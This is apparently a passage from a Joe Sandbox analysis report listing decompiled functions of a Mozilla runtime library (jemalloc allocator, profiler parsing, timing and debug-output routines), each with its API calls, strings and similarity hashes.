Instruction Fuzzy Hash: 0233A071E0029ACFCB14CFA8C8806EDBBF2FF49310F284269D959AB755D735A945CB90

Function 6CADFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E7B8), ref: 6CADFF81
LeaveCriticalSection.KERNEL32(6CB4E7B8), ref: 6CAE022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAE0240
EnterCriticalSection.KERNEL32(6CB4E768), ref: 6CAE025B
LeaveCriticalSection.KERNEL32(6CB4E768), ref: 6CAE027B

Strings

<jemalloc>, xrefs: 6CAE0D62, 6CAE0D76, 6CAE0DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CADFE99, 6CADFEB7, 6CADFED3, 6CAE0DB8, 6CAE0DD3, 6CAE19B4
: (malloc) Error in VirtualFree(), xrefs: 6CAE0D67, 6CAE0D7B, 6CAE0DAC

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 5ce634eaaaf92280b12df7a99d2bbc2261550f94e72d0527903fcb393734238a
Instruction ID: 3240f3d8d97d3ca526c6f3d2f1616b1811a48fdd72b6012210591ce739c09e8d
Opcode Fuzzy Hash: 5ce634eaaaf92280b12df7a99d2bbc2261550f94e72d0527903fcb393734238a
Instruction Fuzzy Hash: 36C2D371A057418FD714CF28C880716BBE1FF89328F28C66DE5A98B795DB71E881DB81

Function 6CB2E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CB2E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB2EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB2F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB30E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB30E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CB30EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CB30ED4

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: b826dd4cfb9de763abc6cb6ebe88402cfd8263f97eb3571243fc53bd4a50fbcf
Instruction ID: 6f47447340623c273a92db600a1aa80df5ca088daa224a7d27cb17f4f5ef07ca
Opcode Fuzzy Hash: b826dd4cfb9de763abc6cb6ebe88402cfd8263f97eb3571243fc53bd4a50fbcf
Instruction Fuzzy Hash: 1F637171E0029ACFCB14CFA8C8905EDF7B2FF89310F298269D859AB755D734A945CB90

Function 6CB03E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CB27770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CB03E7D,?,?,?,6CB03E7D,?,?), ref: 6CB2777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CB03F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB03F5C
VerSetConditionMask.NTDLL ref: 6CB03F8D
VerSetConditionMask.NTDLL ref: 6CB03F99
VerSetConditionMask.NTDLL ref: 6CB03FA0
VerSetConditionMask.NTDLL ref: 6CB03FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB03FB4

Strings

nvd3d9wrap.dll, xrefs: 6CB04466
nvinit.dll, xrefs: 6CB04479

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: e0bc0421a4739af8c753c7dd648fa1d7c217815bef360c62c69fd70808be4e69
Instruction ID: 63c1e57e027361dc5d2875ce0afe3d695b1dd9de8896e57d1235f17df38b2e22
Opcode Fuzzy Hash: e0bc0421a4739af8c753c7dd648fa1d7c217815bef360c62c69fd70808be4e69
Instruction Fuzzy Hash: D552D271614B884FD715DF34D980AAB77E9AF85308F044A2DE4968BB42DB34F94DCBA0

Function 6CAEED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CAEEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CAEEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CAF1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAF16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CAF1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAF1A3E

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: a17dd378a57e1db0e35bb6b6b65a4ec0149370706a86c051ccbdd3d602068170
Instruction ID: 7d796200421a8a2826af4776682ca1a61648796feeb23aa0b4faae9d3d2e2811
Opcode Fuzzy Hash: a17dd378a57e1db0e35bb6b6b65a4ec0149370706a86c051ccbdd3d602068170
Instruction Fuzzy Hash: 1AB32B71E01219CFCB14CFA9C890AADB7B2FF49304F1982A9D559AB745D730AD86CF90

Function 6CADFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E7B8), ref: 6CADFF81
LeaveCriticalSection.KERNEL32(6CB4E7B8), ref: 6CAE022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAE0240
EnterCriticalSection.KERNEL32(6CB4E768), ref: 6CAE025B
LeaveCriticalSection.KERNEL32(6CB4E768), ref: 6CAE027B

Strings

MOZ_CRASH(), xrefs: 6CAE0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CADFE99, 6CADFEB7, 6CADFED3, 6CAE0DB8, 6CAE0DD3, 6CAE19B4, 6CAE1A10

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 850801fc207b5758ad266762b76424eac29a9a33ff1ba675bc7681d302f2b3ca
Instruction ID: ed32e25d5bcdda5fc4564d28f6693466c5d6f4dae72c4fbca4104302ee1e5c69
Opcode Fuzzy Hash: 850801fc207b5758ad266762b76424eac29a9a33ff1ba675bc7681d302f2b3ca
Instruction Fuzzy Hash: 5EB2A0716057418FD714CF29C5D0726BBE1BF89328F28C66CE96A8B796D770E880DB81

Function 6CB15600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6CB15E79, 6CB15E8F
schema, xrefs: 6CB1606D
expected a Time entry, xrefs: 6CB15CB6
expected a Count entry, xrefs: 6CB15AC3
ProfileBuffer parse error: %s, xrefs: 6CB15AC8, 6CB15CBB
data, xrefs: 6CB16131

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: a2319ecbb5b76b26907390a8dd8f9bbe937351aed77ffba488c68ad20029124a
Instruction ID: 428ada300f9c0505a5b63a068076768cdbf3db460afdb65db9bdff4b8b610f4e
Opcode Fuzzy Hash: a2319ecbb5b76b26907390a8dd8f9bbe937351aed77ffba488c68ad20029124a
Instruction Fuzzy Hash: 0F922A71A083818FD724CF28C490B9AB7E1FFC9308F55891DE5999BB51DB30E949CB92

Function 6CB12E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CB12ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB12EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CB12F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB13214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB13242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB136BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6CB1378D
get , xrefs: 6CB13205
set , xrefs: 6CB136EC

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 7053a99207ed44aa8df4880a3da2e4c863640278e36129c10bea4db26ceb0e13
Instruction ID: 969c4027df993341519af9cbd19375f539c28db4242311d00e0eb6343273696c
Opcode Fuzzy Hash: 7053a99207ed44aa8df4880a3da2e4c863640278e36129c10bea4db26ceb0e13
Instruction Fuzzy Hash: 4E323BB460C3C18FD724CF24C4906AEBBE2AFC9318F54891DE59987B51EB31994ACB53

Function 6CB07E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6CB07ECF, 6CB08335
(pre-xul), xrefs: 6CB07E88
schema, xrefs: 6CB081E3, 6CB08311
data, xrefs: 6CB08280, 6CB083E1

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 7384f9c784367fa7e3d7619eae8070a1be758973c0cb8f86223929f2600a8aef
Instruction ID: 8ab5eb5cf35295ab5fdaaf32b545445c9d2d6489f7c93eb57c8c0df22cd4b347
Opcode Fuzzy Hash: 7384f9c784367fa7e3d7619eae8070a1be758973c0cb8f86223929f2600a8aef
Instruction Fuzzy Hash: 14E17071B043908BC710CF68984066BFBE9FF95314F158A2DE899D7790DBB0ED498B92

Function 6CAED4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED4F2
LeaveCriticalSection.KERNEL32(6CB4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED50B

Part of subcall function 6CACCFE0: EnterCriticalSection.KERNEL32(6CB4E784), ref: 6CACCFF6
Part of subcall function 6CACCFE0: LeaveCriticalSection.KERNEL32(6CB4E784), ref: 6CACD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED52E
EnterCriticalSection.KERNEL32(6CB4E7DC), ref: 6CAED690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAED6A6
LeaveCriticalSection.KERNEL32(6CB4E7DC), ref: 6CAED712
LeaveCriticalSection.KERNEL32(6CB4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAED7EA

Strings

<jemalloc>, xrefs: 6CAED827
: (malloc) Error initializing arena, xrefs: 6CAED82C

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: d2b4351bbee7d8580622409046fffd899c0aa4549c78b5d10f671e4a531fc9a8
Instruction ID: 48253fa8c3d3e73410c4bc81638b75433f44d8d3232119cf57768bbe9a97cf35
Opcode Fuzzy Hash: d2b4351bbee7d8580622409046fffd899c0aa4549c78b5d10f671e4a531fc9a8
Instruction Fuzzy Hash: FF91C271E087418FD714DF29C19066AB7E1FBC9318F18892EE56A87A85D730E884DB82

Function 6CAE5E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAE5EDB
memset.VCRUNTIME140(6CB27765,000000E5,55CCCCCC), ref: 6CAE5F27
LeaveCriticalSection.KERNEL32(?), ref: 6CAE5FB2
memset.VCRUNTIME140(6CB27765,000000E5,B4C09015), ref: 6CAE61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CAE7652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAE72E3
MOZ_CRASH(), xrefs: 6CAE7BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAE730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAE72F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAE7BCD, 6CAE7C1F, 6CAE7C34, 6CAE80FD

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: bda8645141c47eae0ac2bb4f0197020e89df399b1d367c7c9c27211f66ac0da8
Instruction ID: a7f7ad27992019e19b1d530be2a6545a74d6f36043f611de274a815ff9ab8ffb
Opcode Fuzzy Hash: bda8645141c47eae0ac2bb4f0197020e89df399b1d367c7c9c27211f66ac0da8
Instruction Fuzzy Hash: 3B335C716057018FD308CF29C590615BBE2BF89328F2DC6ADE569CB7A6D731E881DB81

Function 6CAC3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAC3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAC34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAC34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CAC350E
__Init_thread_footer.LIBCMT ref: 6CAC3522
__aulldiv.LIBCMT ref: 6CAC3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAC357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAC3592

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

Strings

kernel32.dll, xrefs: 6CAC34EA
GetSystemTimePreciseAsFileTime, xrefs: 6CAC3508

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 3f35a5c91d8763802d58d4388dfefb28cf00079de7822ac6faa84d4e56a6ec02
Instruction ID: 2fb037f27b39ad5425834df848fc949543609ade476c95980fe1451477ed6369
Opcode Fuzzy Hash: 3f35a5c91d8763802d58d4388dfefb28cf00079de7822ac6faa84d4e56a6ec02
Instruction Fuzzy Hash: 6F310275B052499FDF00EFB9C948EEE73B9FB86308F008419E945E3654EB30A945CB61

Function 6CB14820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6CB14CAF
schema, xrefs: 6CB148C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6CB14D65
-%llu, xrefs: 6CB14825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6CB14DB8, 6CB14DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6CB14D0A
data, xrefs: 6CB149B4
ProfileBuffer parse error: %s, xrefs: 6CB14DD9

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: fb335a21f3eaaba25cf538e76cd43ea89bd969319e620fbce630ec69a48ba991
Instruction ID: 4644724a3b577185cd8e0e9b14461e1c81e2b5b581c9795e8d9d61ff54484bbe
Opcode Fuzzy Hash: fb335a21f3eaaba25cf538e76cd43ea89bd969319e620fbce630ec69a48ba991
Instruction Fuzzy Hash: 39720E75A18B858BD321CF34C4513ABF7E5BFDA344F108B1DE48A6B650EB70A486DB42

Function 6CB24EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CB24EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB24F2E
moz_xmalloc.MOZGLUE ref: 6CB24F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CB24F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB252B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB252E6
Sleep.KERNEL32(00000010), ref: 6CB25481
free.MOZGLUE(?), ref: 6CB25498

Strings

(, xrefs: 6CB25250

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: bafca19884e80befc649119eae4c1fa3bdac938e3b346b65496e3d8692b8a34a
Instruction ID: 73d1b6ab65011be46ddc7fb95066986f1649c92315ef7582ef2b36b90d357c46
Opcode Fuzzy Hash: bafca19884e80befc649119eae4c1fa3bdac938e3b346b65496e3d8692b8a34a
Instruction Fuzzy Hash: 60F1E271A18B408FC716DF38C85062BB7F9BFD6284F05872EF84AA7655DB31D8468B81

Function 6CB25FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CB26009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CB26024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CACEE51,?), ref: 6CB26046
OutputDebugStringA.KERNEL32(?,6CACEE51,?), ref: 6CB26061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB26069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB26073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB26082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CB4148E), ref: 6CB26091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CACEE51,00000000,?), ref: 6CB260BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB260C4

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: ce33d9a74d2fb2f94e6039d12d3091c9b402166ae534d93ac0f1f8f6a73851bb
Instruction ID: 713f4b876aebbd19dbcecd89d7e8feb4161847846466a58624456050eba04f8f
Opcode Fuzzy Hash: ce33d9a74d2fb2f94e6039d12d3091c9b402166ae534d93ac0f1f8f6a73851bb
